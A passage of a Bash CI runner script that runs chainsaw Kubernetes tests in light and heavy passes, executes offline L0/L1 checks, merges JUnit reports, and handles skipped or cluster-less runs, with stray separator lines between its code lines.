"${CONF_ROOT}/config/chainsaw-config.yaml" | head -1)"
|
||
[ -n "${light_parallel}" ] || light_parallel=2
|
||
|
||
if [ "${#light[@]}" -gt 0 ]; then
|
||
log "LIGHT pass: ${#light[@]} test(s), parallel=${light_parallel} (pinned ${CHAINSAW_VERSION})"
|
||
run_chainsaw_pass "chainsaw-report-light" "${light_parallel}" "${light[@]}" || light_rc=$?
|
||
else
|
||
log "LIGHT pass: no tests selected."
|
||
fi
|
||
|
||
if [ "${#heavy[@]}" -gt 0 ]; then
|
||
log "HEAVY pass: ${#heavy[@]} test(s) SERIAL (parallel=1) — ${heavy[*]##*/}"
|
||
run_chainsaw_pass "chainsaw-report-heavy" 1 "${heavy[@]}" || heavy_rc=$?
|
||
else
|
||
log "HEAVY pass: no heavy tests selected."
|
||
fi
|
||
|
||
# Stitch both passes' JUnit into the one stable artifact CI collects.
|
||
"${PYTHON}" "${CONF_ROOT}/lib/merge_junit.py" \
|
||
--out "${JUNIT_OUT}" --name chainsaw-report \
|
||
"${light_report}" "${heavy_report}"
|
||
|
||
# Overall result is the union: fail if EITHER pass had a failing/erroring test. Real
|
||
# failures still surface (nothing is masked); the split only changes WHEN heavy tests run.
|
||
if [ "${light_rc}" -ne 0 ] || [ "${heavy_rc}" -ne 0 ]; then
|
||
log "Chainsaw reported failures (light rc=${light_rc}, heavy rc=${heavy_rc})."
|
||
return 1
|
||
fi
|
||
return 0
|
||
}
|
||
|
||
# --- L0/L1: the cluster-INDEPENDENT layers (docs/14) ------------------------------------
|
||
# docs/14 puts TWO layers in CI without a cluster:
|
||
# L0 static/policy tests/l0-static/** each dir carries a `check.sh` (repo invariants)
|
||
# L1 rendering tests/l1-rendering/** each dir carries a `render-check.sh` (render == golden)
|
||
# Both are executed directly here and emit a REAL pass/fail JUnit, instead of being skipped
|
||
# with the cluster-gated layers. Honors the same --layer/--requirements selection as the rest
|
||
# of the suite (select_dirs), filtered to those two subtrees.
|
||
OFFLINE_SUBTREES='/l0-static/|/l1-rendering/'
|
||
|
||
offline_selected_dirs() {
|
||
select_dirs | grep -E "${OFFLINE_SUBTREES}" || true
|
||
}
|
||
|
||
# True when EVERY requested layer is cluster-independent, so the offline result is the
|
||
# whole result and run.sh must exit on it (the ci/l0.sh + ci/l1.sh merge-gate paths).
|
||
layers_are_offline_only() {
|
||
local l
|
||
[ "${LAYER}" = all ] && return 1
|
||
for l in ${LAYER//,/ }; do
|
||
case "$l" in l0|l1) ;; *) return 1 ;; esac
|
||
done
|
||
return 0
|
||
}
|
||
|
||
# Markdown one-liner per executed offline check, for the CI step summary. Written next to
|
||
# the JUnit; ci/l0.sh + ci/l1.sh splice it into $GITHUB_STEP_SUMMARY so the gate output still
|
||
# NAMES every check that ran (that is what the deleted per-check gate stages did, one hard-coded
|
||
# `summary` line each — now generated for all of them, whole-repo-scoped ones marked as such).
|
||
: "${OFFLINE_SUMMARY_OUT:=${ARTIFACTS}/offline-summary.md}"
|
||
|
||
run_offline_checks() {
|
||
local -a dirs
|
||
mapfile -t dirs < <(offline_selected_dirs)
|
||
if [ "${#dirs[@]}" -eq 0 ]; then
|
||
log "No L0/L1 offline checks match the selection (layer=${LAYER} reqs='${REQS}')."
|
||
return 0
|
||
fi
|
||
# Declared scopes are passed through so the runner knows WHICH cases must not be allowed to
|
||
# report a SKIP as green (rc 3). See lib/common.sh's scope block and run_l1_offline.py.
|
||
local -a scope_args=() s
|
||
for s in ${INCLUDE_SCOPES//,/ }; do scope_args+=(--unwired-scope "$s"); done
|
||
log "Running ${#dirs[@]} offline L0/L1 check(s) (no cluster; docs/14)."
|
||
[ -n "${INCLUDE_SCOPES}" ] && log " unconditional (declared scope ${INCLUDE_SCOPES}): $(conf_dirs_for_scopes "${INCLUDE_SCOPES}" | xargs -n1 basename 2>/dev/null | tr '\n' ' ')"
|
||
"${PYTHON}" "${CONF_ROOT}/lib/run_l1_offline.py" \
|
||
--junit "${JUNIT_OUT}" --label-prefix "${CONF_LABEL_PREFIX}" \
|
||
--scope-annotation "${CONF_SCOPE_ANNOTATION}" \
|
||
--summary-out "${OFFLINE_SUMMARY_OUT}" \
|
||
${scope_args[@]+"${scope_args[@]}"} "${dirs[@]}"
|
||
}
|
||
|
||
###############################################################################
|
||
# Main
|
||
###############################################################################
|
||
# --print-selection is deliberately handled FIRST: it resolves the selection and exits,
|
||
# writing nothing and running no check. A test that asserts "the gate's selection cannot
|
||
# filter me out" needs to ask that question without executing the suite it is part of.
|
||
if [ "${MODE}" = "print-selection" ]; then
|
||
select_dirs
|
||
exit 0
|
||
fi
|
||
|
||
log "Coverage report first (always)"
|
||
gen_coverage
|
||
|
||
case "${MODE}" in
|
||
coverage-only)
|
||
log "coverage-only: done. See ${COVERAGE_OUT}/coverage.md"
|
||
exit 0
|
||
;;
|
||
status)
|
||
# rc: 0 report written, 1 a derivation/strict failure, 3 a check could not run
|
||
# (SKIPPED, never counted as green — ci/lib.sh convention). Propagated as-is.
|
||
rc=0
|
||
# --strict-coverage is the harness's hygiene switch; apply it to status too.
|
||
status_flags=()
|
||
[ "${STRICT_COVERAGE}" = 1 ] && status_flags+=(--strict)
|
||
gen_status ${status_flags[@]+"${status_flags[@]}"} || rc=$?
|
||
log "status: done. See ${STATUS_OUT}/status.md"
|
||
exit "${rc}"
|
||
;;
|
||
lint)
|
||
lint_tests
|
||
log "lint: done."
|
||
exit 0
|
||
;;
|
||
esac
|
||
|
||
# L0 static + L1 rendering are cluster-independent (docs/14): run the selected offline
|
||
# checks and treat their result as authoritative REGARDLESS of cluster availability. An
|
||
# offline check failure is a real failure (nothing cluster-gated about it), so it always blocks.
|
||
# rc 3 is the harness-wide SKIPPED/not-run code (ci/README.md): NOT a pass, NOT a fail. The
|
||
# offline runner returns it when a test carrying a --unwired-scope scope SKIPPED — a whole-repo
|
||
# invariant reporting "nothing to audit" means the subtree it audits is gone, which the gate
|
||
# must see as UNWIRED. It is propagated verbatim so ci/l0.sh can set the gate's own rc=3,
|
||
# exactly as the deleted per-check stages did.
|
||
OFFLINE_RC=0
|
||
run_offline_checks || OFFLINE_RC=$?
|
||
if layers_are_offline_only; then
|
||
# Offline-only run (the ci/l0.sh + ci/l1.sh merge-gate paths): the offline result IS the result.
|
||
case "${OFFLINE_RC}" in
|
||
0) log "Done (offline ${LAYER}). JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md" ;;
|
||
3) log "Offline ${LAYER}: a scope-declared check SKIPPED — UNWIRED, not green (rc=3). JUnit: ${JUNIT_OUT}" ;;
|
||
*) log "Offline ${LAYER} checks FAILED (rc=${OFFLINE_RC}). JUnit: ${JUNIT_OUT}" ;;
|
||
esac
|
||
exit "${OFFLINE_RC}"
|
||
fi
|
||
if [ "${OFFLINE_RC}" -eq 3 ]; then
|
||
log "Offline L0/L1: a scope-declared check SKIPPED — UNWIRED, not green (rc=3)."
|
||
exit 3
|
||
fi
|
||
if [ "${OFFLINE_RC}" -ne 0 ]; then
|
||
log "Offline L0/L1 checks FAILED (rc=${OFFLINE_RC}) — blocking (not cluster-gated)."
|
||
exit "${OFFLINE_RC}"
|
||
fi
|
||
|
||
# run mode: need a cluster for L2/L3. Without one (Phase 0), emit skipped JUnit for the
|
||
# cluster-gated layers. (L1 already ran offline above and passed.)
|
||
if [ "${FORCE_NO_CLUSTER}" = 1 ] || ! conf_cluster_reachable; then
|
||
log "No reachable cluster — emitting SKIPPED JUnit scaffold for L2/L3 (Phase 0 behavior)."
|
||
log "NOTE: the offline L0/L1 results above already ran for real; this shim covers L2/L3 only."
|
||
log "Also running structural lint so scaffolds stay valid."
|
||
lint_tests || { log "lint failed"; exit 1; }
|
||
"${PYTHON}" "${CONF_ROOT}/lib/emit_skipped_junit.py" \
|
||
--tests "${CONF_ROOT}/tests" --out "${JUNIT_OUT}"
|
||
log "Done (scaffold mode). JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md"
|
||
exit 0
|
||
fi
|
||
|
||
command -v chainsaw >/dev/null 2>&1 || {
|
||
echo "ERROR: cluster reachable but 'chainsaw' (${CHAINSAW_VERSION}) not on PATH." >&2
|
||
echo "Install the pinned binary or run via the in-cluster Job (incluster/)." >&2
|
||
exit 3
|
||
}
|
||
run_chainsaw
|
||
log "Done. JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md"
|